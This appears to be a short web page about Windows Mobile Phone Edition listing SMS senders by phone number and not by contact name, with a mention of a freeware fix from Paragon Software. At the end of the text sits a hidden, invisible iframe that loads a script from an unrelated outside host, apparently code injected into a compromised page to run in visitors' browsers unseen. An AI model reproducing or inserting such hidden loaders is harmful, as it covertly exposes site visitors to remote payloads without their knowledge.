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SMS has a limitation on the Phone Edition in that it does not identify the sender of a note by name. It displays only their telphone number. This is inconsistent since telephone calls are displayed as the contact name if one exists. This may be corrected at some point in the future by Microsoft, but no one knows how long that will take. Depending on your use of SMS, this may not be an issue for you... or it could be huge.

There is an unofficial fix to this problem floating around the internet that we do not recommend using. UPDATE: Paragon Software has now officially released a freeware program that fixes the SMS problem. There is no download page for the official program, but you can have it emailed to you by entering your email address at Paragon Software's site.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>